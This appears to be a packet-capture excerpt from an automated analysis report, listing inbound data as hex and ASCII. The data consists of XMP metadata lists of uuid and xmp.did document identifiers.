2022-07-20 17:31:06 UTC	1473	IN	Data Raw: 32 43 44 43 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 32 37 33 33 45 42 46 35 41 34 31 44 42 31 31 39 39 30 39 39 35 32 46 30 44 36 37 44 45 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 32 37 41 34 36 34 46 31 44 44 42 44 43 31 31 39 44 38 44 38 46 45 46 32 39 38 31 45 39 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 32 39 45 42 41 38 33 30 42 33 38 31 31 44 46 38 30 42 46 45 36 31 45 42 42 41 35 38 46 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 32 41 30 35 37 33 31 32 31 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 33 31 33 37 38 31 Data Ascii: 2CDCB</rdf:li> <rdf:li>uuid:32733EBF5A41DB119909952F0D67DE54</rdf:li> <rdf:li>uuid:327A464F1DDBDC119D8D8FEF2981E996</rdf:li> <rdf:li>uuid:329EBA830B3811DF80BFE61EBBA58F68</rdf:li> <rdf:li>uuid:32A057312131E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:3313781
2022-07-20 17:31:06 UTC	3794	IN	Data Raw: 37 30 33 42 46 39 41 45 37 42 45 31 31 44 45 39 30 32 41 42 31 34 45 45 31 32 39 45 36 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 37 34 42 35 39 36 30 37 30 42 34 31 31 44 42 42 30 43 33 42 33 33 42 38 46 46 33 44 45 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 37 34 45 41 31 30 43 46 37 30 37 31 31 44 41 39 46 39 38 45 41 38 38 32 37 37 37 30 30 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 37 35 46 33 41 41 35 41 42 44 43 31 31 45 31 42 31 45 38 39 45 31 46 30 42 30 38 42 44 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 37 35 46 33 41 41 42 41 42 44 43 31 31 45 31 42 31 45 38 39 45 31 46 30 42 30 38 42 44 37 32 3c 2f 72 64 Data Ascii: 703BF9AE7BE11DE902AB14EE129E651</rdf:li> <rdf:li>uuid:674B596070B411DBB0C3B33B8FF3DEDE</rdf:li> <rdf:li>uuid:674EA10CF70711DA9F98EA8827770024</rdf:li> <rdf:li>uuid:675F3AA5ABDC11E1B1E89E1F0B08BD72</rdf:li> <rdf:li>uuid:675F3AABABDC11E1B1E89E1F0B08BD72</rd
2022-07-20 17:31:06 UTC	3802	IN	Data Raw: 45 46 43 38 46 43 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 45 34 37 38 33 36 33 38 42 43 35 44 46 31 31 38 31 44 41 38 46 38 37 32 46 33 43 32 46 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 45 37 39 45 34 41 33 41 31 34 30 45 30 31 31 38 34 36 35 43 32 41 42 41 35 31 31 42 34 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 45 38 45 34 30 35 39 32 35 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 45 46 37 46 43 41 35 32 43 33 43 31 31 44 45 38 36 30 39 42 36 36 44 45 37 44 31 35 33 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 45 46 46 Data Ascii: EFC8FC6F</rdf:li> <rdf:li>uuid:7E4783638BC5DF1181DA8F872F3C2FE6</rdf:li> <rdf:li>uuid:7E79E4A3A140E0118465C2ABA511B484</rdf:li> <rdf:li>uuid:7E8E40592531E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:7EF7FCA52C3C11DE8609B66DE7D15388</rdf:li> <rdf:li>uuid:7EFF
2022-07-20 17:31:06 UTC	3818	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 31 43 32 41 32 32 43 41 31 35 46 31 31 44 43 38 41 37 34 38 45 36 39 36 30 38 32 37 43 45 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 32 31 38 32 43 33 38 41 36 39 38 44 44 31 31 41 31 42 45 44 37 36 46 33 36 33 33 41 39 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 32 33 36 34 35 32 30 44 35 42 30 44 46 31 31 38 38 44 31 46 30 44 42 42 35 38 31 45 34 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 32 35 38 38 37 46 30 34 32 44 44 44 45 31 31 42 34 31 31 45 32 45 45 32 32 35 43 43 43 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 32 45 39 37 33 37 45 33 30 31 36 45 31 31 Data Ascii: df:li> <rdf:li>uuid:B1C2A22CA15F11DC8A748E6960827CE4</rdf:li> <rdf:li>uuid:B2182C38A698DD11A1BED76F3633A9BA</rdf:li> <rdf:li>uuid:B2364520D5B0DF1188D1F0DBB581E4AD</rdf:li> <rdf:li>uuid:B25887F042DDDE11B411E2EE225CCC2F</rdf:li> <rdf:li>uuid:B2E9737E3016E11
2022-07-20 17:31:06 UTC	3834	IN	Data Raw: 35 42 36 46 32 45 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 31 35 35 37 35 41 35 46 36 32 34 44 45 31 31 41 37 38 41 43 39 37 44 43 43 45 46 41 34 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 31 39 31 41 42 36 45 37 38 35 31 31 31 45 31 42 42 37 41 38 35 33 45 43 46 45 42 31 43 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 31 45 38 42 36 31 43 38 35 31 36 31 31 44 41 41 42 32 38 42 37 43 32 30 39 33 43 36 34 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 32 31 39 35 39 35 39 38 32 38 35 45 31 31 31 41 36 32 32 44 35 34 45 45 39 39 35 46 39 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 32 33 38 Data Ascii: 5B6F2ED7</rdf:li> <rdf:li>uuid:F15575A5F624DE11A78AC97DCCEFA4EB</rdf:li> <rdf:li>uuid:F191AB6E785111E1BB7A853ECFEB1C28</rdf:li> <rdf:li>uuid:F1E8B61C851611DAAB28B7C2093C641F</rdf:li> <rdf:li>uuid:F21959598285E111A622D54EE995F927</rdf:li> <rdf:li>uuid:F238
2022-07-20 17:31:06 UTC	3842	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 42 36 45 33 41 31 44 34 37 38 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 43 30 31 30 34 32 34 41 45 32 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 44 30 39 45 45 38 44 43 41 35 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 44 30 41 45 46 36 31 38 41 37 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 Data Ascii: li> <rdf:li>xmp.did:0180117407206811871FB6E3A1D47845</rdf:li> <rdf:li>xmp.did:0180117407206811871FC010424AE2B0</rdf:li> <rdf:li>xmp.did:0180117407206811871FD09EE8DCA5B1</rdf:li> <rdf:li>xmp.did:0180117407206811871FD0AEF618A7D7</rdf:li> <rdf:li>xmp.did:018
2022-07-20 17:31:06 UTC	3858	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 41 30 32 43 30 43 36 30 42 37 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 41 39 31 38 45 41 45 38 35 32 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 43 35 44 45 41 45 30 32 30 31 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 45 45 31 46 41 31 35 31 42 31 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 Data Ascii: <rdf:li>xmp.did:038011740720681192B0A02C0C60B70A</rdf:li> <rdf:li>xmp.did:038011740720681192B0A918EAE85274</rdf:li> <rdf:li>xmp.did:038011740720681192B0C5DEAE020159</rdf:li> <rdf:li>xmp.did:038011740720681192B0EE1FA151B108</rdf:li> <rdf:li>xmp.did:0380117
2022-07-20 17:31:06 UTC	3874	IN	Data Raw: 42 43 36 37 45 37 31 39 42 32 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 38 33 30 32 38 41 42 43 35 38 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 39 39 39 44 32 36 44 39 44 46 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 42 32 30 45 33 44 41 45 37 39 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 43 32 41 37 37 44 43 32 44 30 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: BC67E719B286</rdf:li> <rdf:li>xmp.did:08801174072068118A6D83028ABC58A8</rdf:li> <rdf:li>xmp.did:08801174072068118A6D999D26D9DFD0</rdf:li> <rdf:li>xmp.did:08801174072068118A6DB20E3DAE7970</rdf:li> <rdf:li>xmp.did:08801174072068118A6DC2A77DC2D032</rdf:li> <
2022-07-20 17:31:06 UTC	3881	IN	Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 43 45 37 31 39 38 41 37 35 33 31 31 45 31 39 45 43 42 42 36 32 44 35 46 42 39 46 33 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 45 31 30 30 39 46 31 37 32 30 36 38 31 31 39 37 45 32 42 46 39 30 39 42 34 31 36 41 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 45 39 44 41 39 35 33 35 32 30 36 38 31 31 41 39 42 35 39 38 36 35 46 39 46 31 35 36 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 44 35 32 44 32 45 36 39 42 32 37 36 38 31 31 39 35 46 45 41 32 35 42 42 30 46 43 43 38 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 44 38 30 Data Ascii: i> <rdf:li>xmp.did:0CCE7198A75311E19ECBB62D5FB9F3B7</rdf:li> <rdf:li>xmp.did:0CE1009F1720681197E2BF909B416AA3</rdf:li> <rdf:li>xmp.did:0CE9DA9535206811A9B59865F9F1562B</rdf:li> <rdf:li>xmp.did:0D52D2E69B27681195FEA25BB0FCC8E8</rdf:li> <rdf:li>xmp.did:0D80
2022-07-20 17:31:06 UTC	3897	IN	Data Raw: 34 42 31 33 30 39 39 32 33 36 38 31 31 38 46 36 32 44 36 30 34 41 35 46 43 41 30 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 44 44 35 46 31 45 41 30 37 32 30 36 38 31 31 38 30 38 33 43 44 46 44 46 39 42 33 35 31 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 44 44 45 32 41 45 33 41 42 32 30 36 38 31 31 38 44 42 42 39 32 38 31 39 30 38 37 30 44 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 44 45 32 41 45 37 37 39 38 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 44 46 45 34 33 34 45 39 45 36 43 45 31 31 31 38 45 36 44 39 34 45 44 37 35 Data Ascii: 4B130992368118F62D604A5FCA040</rdf:li> <rdf:li>xmp.did:1DD5F1EA072068118083CDFDF9B3510D</rdf:li> <rdf:li>xmp.did:1DDE2AE3AB2068118DBB928190870DAB</rdf:li> <rdf:li>xmp.did:1DE2AE77982068118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:1DFE434E9E6CE1118E6D94ED75
2022-07-20 17:31:06 UTC	3913	IN	Data Raw: 69 64 3a 32 44 33 39 33 46 32 34 32 35 39 42 31 31 45 30 42 35 36 36 38 44 31 37 31 42 45 35 34 42 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 44 37 34 35 42 32 41 41 34 43 35 31 31 45 35 41 38 43 35 44 45 43 41 42 39 35 45 33 39 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 44 37 34 35 42 32 45 41 34 43 35 31 31 45 35 41 38 43 35 44 45 43 41 42 39 35 45 33 39 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 44 37 34 35 42 33 32 41 34 43 35 31 31 45 35 41 38 43 35 44 45 43 41 42 39 35 45 33 39 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 44 41 30 41 46 42 39 46 44 39 44 45 31 31 31 41 44 44 32 Data Ascii: id:2D393F24259B11E0B5668D171BE54B92</rdf:li> <rdf:li>xmp.did:2D745B2AA4C511E5A8C5DECAB95E3969</rdf:li> <rdf:li>xmp.did:2D745B2EA4C511E5A8C5DECAB95E3969</rdf:li> <rdf:li>xmp.did:2D745B32A4C511E5A8C5DECAB95E3969</rdf:li> <rdf:li>xmp.did:2DA0AFB9FD9DE111ADD2
2022-07-20 17:31:06 UTC	3921	IN	Data Raw: 33 38 43 36 38 33 41 45 30 31 31 42 31 32 45 45 39 31 34 44 30 43 31 34 46 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 35 30 35 35 62 31 2d 30 62 34 66 2d 34 65 64 37 2d 39 31 63 33 2d 64 39 37 33 62 66 37 61 30 35 66 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 35 32 38 31 66 33 2d 62 38 63 30 2d 61 65 34 37 2d 62 31 38 32 2d 65 38 65 38 34 61 63 63 34 38 33 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 35 32 64 66 31 35 2d 61 63 64 38 2d 34 34 61 64 2d 61 34 64 65 2d 66 62 63 39 62 35 64 35 64 63 33 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 36 65 62 35 33 37 2d 36 30 33 31 2d 61 34 Data Ascii: 38C683AE011B12EE914D0C14FAC</rdf:li> <rdf:li>xmp.did:335055b1-0b4f-4ed7-91c3-d973bf7a05f8</rdf:li> <rdf:li>xmp.did:335281f3-b8c0-ae47-b182-e8e84acc483b</rdf:li> <rdf:li>xmp.did:3352df15-acd8-44ad-a4de-fbc9b5d5dc3e</rdf:li> <rdf:li>xmp.did:336eb537-6031-a4
2022-07-20 17:31:06 UTC	3937	IN	Data Raw: 33 39 43 36 45 37 36 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 34 61 64 32 34 31 2d 39 37 37 36 2d 37 39 34 31 2d 61 61 62 64 2d 32 34 64 66 37 32 63 38 63 32 66 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 38 44 43 46 34 32 30 38 32 30 36 38 31 31 38 32 32 41 45 38 31 44 43 42 38 45 43 44 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 39 34 66 62 64 63 2d 64 32 66 35 2d 34 63 66 37 2d 39 64 36 36 2d 32 35 38 62 39 66 39 30 62 62 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 41 35 41 32 39 44 44 34 37 33 31 31 45 34 39 35 32 41 45 42 38 38 46 45 35 46 44 31 44 36 3c 2f 72 64 66 3a Data Ascii: 39C6E7696</rdf:li> <rdf:li>xmp.did:414ad241-9776-7941-aabd-24df72c8c2f7</rdf:li> <rdf:li>xmp.did:418DCF4208206811822AE81DCB8ECD93</rdf:li> <rdf:li>xmp.did:4194fbdc-d2f5-4cf7-9d66-258b9f90bb21</rdf:li> <rdf:li>xmp.did:41A5A29DD47311E4952AEB88FE5FD1D6</rdf:
2022-07-20 17:31:06 UTC	3953	IN	Data Raw: 32 30 36 38 31 31 39 32 42 30 42 41 41 39 30 34 44 45 30 46 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 35 42 42 31 34 35 42 34 32 30 36 38 31 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 36 36 31 37 43 45 36 33 32 32 36 38 31 31 39 34 35 37 43 41 46 46 35 39 46 30 35 46 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 36 36 43 31 39 34 37 36 32 31 36 38 31 31 38 41 36 44 43 30 38 45 46 46 45 44 45 37 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 36 37 35 30 32 41 32 45 32 30 36 38 31 31 39 31 30 39 43 46 31 41 31 46 43 37 39 41 46 37 3c Data Ascii: 20681192B0BAA904DE0F8D</rdf:li> <rdf:li>xmp.did:515BB145B4206811A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:516617CE632268119457CAFF59F05F95</rdf:li> <rdf:li>xmp.did:5166C194762168118A6DC08EFFEDE7B5</rdf:li> <rdf:li>xmp.did:5167502A2E2068119109CF1A1FC79AF7<
2022-07-20 17:31:06 UTC	3961	IN	Data Raw: 66 30 36 2d 34 35 64 36 2d 61 34 32 32 2d 63 34 39 33 35 38 33 36 39 33 66 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 38 39 35 64 30 32 61 2d 37 66 36 32 2d 34 35 33 38 2d 38 37 64 39 2d 31 64 34 31 32 61 35 37 65 37 38 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 38 39 46 31 44 42 45 31 42 32 30 36 38 31 31 38 43 31 34 46 39 35 44 33 43 39 34 44 44 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 38 45 35 37 31 46 33 44 32 32 30 36 38 31 31 39 32 42 30 39 46 34 38 32 37 30 45 34 39 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 38 63 66 66 30 31 62 2d 39 39 65 37 2d 31 37 34 37 2d 61 66 63 32 2d 38 Data Ascii: f06-45d6-a422-c493583693f6</rdf:li> <rdf:li>xmp.did:5895d02a-7f62-4538-87d9-1d412a57e78b</rdf:li> <rdf:li>xmp.did:589F1DBE1B2068118C14F95D3C94DD26</rdf:li> <rdf:li>xmp.did:58E571F3D220681192B09F48270E4925</rdf:li> <rdf:li>xmp.did:58cff01b-99e7-1747-afc2-8
2022-07-20 17:31:06 UTC	3977	IN	Data Raw: 34 61 62 37 2d 38 33 38 34 2d 32 61 63 35 38 32 65 39 64 61 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 64 62 66 32 38 37 2d 33 64 37 61 2d 34 37 34 30 2d 39 63 34 61 2d 38 30 62 38 30 65 33 38 61 30 63 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 65 38 62 36 31 66 2d 37 64 37 66 2d 64 33 34 62 2d 61 38 35 34 2d 33 37 32 37 35 30 64 65 62 33 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 38 31 37 38 32 36 30 31 37 43 35 31 31 45 31 42 42 32 37 43 46 42 43 41 43 33 33 46 37 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 38 33 37 45 38 41 34 38 44 34 41 31 31 44 46 39 45 31 32 39 42 34 45 41 Data Ascii: 4ab7-8384-2ac582e9da65</rdf:li> <rdf:li>xmp.did:67dbf287-3d7a-4740-9c4a-80b80e38a0c6</rdf:li> <rdf:li>xmp.did:67e8b61f-7d7f-d34b-a854-372750deb367</rdf:li> <rdf:li>xmp.did:6817826017C511E1BB27CFBCAC33F71C</rdf:li> <rdf:li>xmp.did:6837E8A48D4A11DF9E129B4EA
2022-07-20 17:31:06 UTC	3993	IN	Data Raw: 78 6d 70 2e 64 69 64 3a 37 36 37 39 39 37 36 39 36 43 32 30 36 38 31 31 38 46 36 32 42 42 34 42 32 37 45 31 34 30 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 42 37 31 41 36 42 45 36 32 33 36 38 31 31 41 43 41 46 42 46 45 45 41 36 46 39 30 31 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 44 46 30 45 34 45 44 45 32 30 36 38 31 31 38 41 36 44 41 34 32 33 39 41 33 46 33 36 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 45 31 33 45 46 38 30 35 32 34 36 38 31 31 39 43 41 30 46 34 43 38 37 36 31 39 39 38 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 45 33 31 46 43 44 31 38 32 30 36 38 31 Data Ascii: xmp.did:767997696C2068118F62BB4B27E140C5</rdf:li> <rdf:li>xmp.did:76B71A6BE6236811ACAFBFEEA6F90131</rdf:li> <rdf:li>xmp.did:76DF0E4EDE2068118A6DA4239A3F361B</rdf:li> <rdf:li>xmp.did:76E13EF8052468119CA0F4C876199835</rdf:li> <rdf:li>xmp.did:76E31FCD1820681
2022-07-20 17:31:06 UTC	4001	IN	Data Raw: 70 2e 64 69 64 3a 37 64 36 38 36 39 65 63 2d 39 36 63 64 2d 63 39 34 39 2d 61 32 32 39 2d 64 34 35 34 64 37 34 65 64 36 66 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 64 36 65 63 62 30 64 2d 66 33 64 61 2d 34 61 33 31 2d 62 38 30 35 2d 63 35 30 66 66 32 66 64 34 31 32 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 64 37 30 39 37 35 32 2d 63 36 37 37 2d 34 36 37 31 2d 39 66 61 66 2d 65 32 36 64 61 64 35 33 38 34 37 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 64 39 31 33 38 61 33 2d 38 33 35 30 2d 34 65 30 31 2d 61 37 61 63 2d 66 61 31 38 33 35 61 65 64 61 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 Data Ascii: p.did:7d6869ec-96cd-c949-a229-d454d74ed6fa</rdf:li> <rdf:li>xmp.did:7d6ecb0d-f3da-4a31-b805-c50ff2fd412d</rdf:li> <rdf:li>xmp.did:7d709752-c677-4671-9faf-e26dad53847f</rdf:li> <rdf:li>xmp.did:7d9138a3-8350-4e01-a7ac-fa1835aeda91</rdf:li> <rdf:li>xmp.did:7
2022-07-20 17:31:06 UTC	4017	IN	Data Raw: 2e 64 69 64 3a 38 45 39 33 34 33 43 35 36 42 43 34 45 30 31 31 38 43 34 33 43 46 32 35 43 46 43 31 42 31 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 45 39 46 42 42 37 44 36 37 41 37 45 30 31 31 39 35 34 31 43 36 35 42 36 44 43 34 30 44 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 45 42 30 34 44 36 42 39 41 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 45 43 41 33 36 44 44 34 32 32 30 36 38 31 31 38 46 30 45 41 38 41 31 33 42 31 43 36 42 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 45 44 32 31 34 38 32 30 41 32 30 36 38 31 31 42 34 Data Ascii: .did:8E9343C56BC4E0118C43CF25CFC1B1A1</rdf:li> <rdf:li>xmp.did:8E9FBB7D67A7E0119541C65B6DC40D6F</rdf:li> <rdf:li>xmp.did:8EB04D6B9A226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:8ECA36DD422068118F0EA8A13B1C6B04</rdf:li> <rdf:li>xmp.did:8ED214820A206811B4
